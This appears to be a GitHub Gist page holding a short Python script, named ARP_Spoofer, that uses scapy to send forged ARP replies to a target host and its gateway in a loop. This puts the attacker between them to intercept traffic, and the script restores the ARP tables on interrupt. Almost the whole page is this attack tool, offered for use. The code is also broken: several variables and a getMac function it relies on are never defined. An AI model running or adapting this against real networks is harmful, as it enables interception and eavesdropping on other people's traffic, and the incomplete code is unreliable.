Last active
October 3, 2020 15:36
-
-
Save Racv/abdc7d19267adebd4f27d4d9391ac16c to your computer and use it in GitHub Desktop.
ARP_Spoofer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import scapy.all as scapy | |
import time | |
import argparse | |
import sys | |
def spoofer(targetIP, spoofIP): | |
packet=scapy.ARP(op=2,pdst=targetIP,hwdst=destinationMac,psrc=spoofIP) | |
scapy.send(packet, verbose=False) | |
def restore(destinationIP, sourceIP): | |
packet = scapy.ARP(op=2,pdst=destinationIP,hwdst=getMac(destinationIP),psrc=sourceIP,hwsrc=sourceMAC) | |
scapy.send(packet, count=4,verbose=False) | |
packets = 0 | |
try: | |
while True: | |
spoofer(targetIP,gatewayIP) | |
spoofer(gatewayIP,targetIP) | |
print("\r[+] Sent packets "+ str(packets)), | |
sys.stdout.flush() | |
packets +=2 | |
time.sleep(2) | |
except KeyboardInterrupt: | |
print("\nInterrupted Spoofing found CTRL + C------------ Restoring to normal state..") | |
restore(targetIP,gatewayIP) | |
restore(gatewayIP,targetIP) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment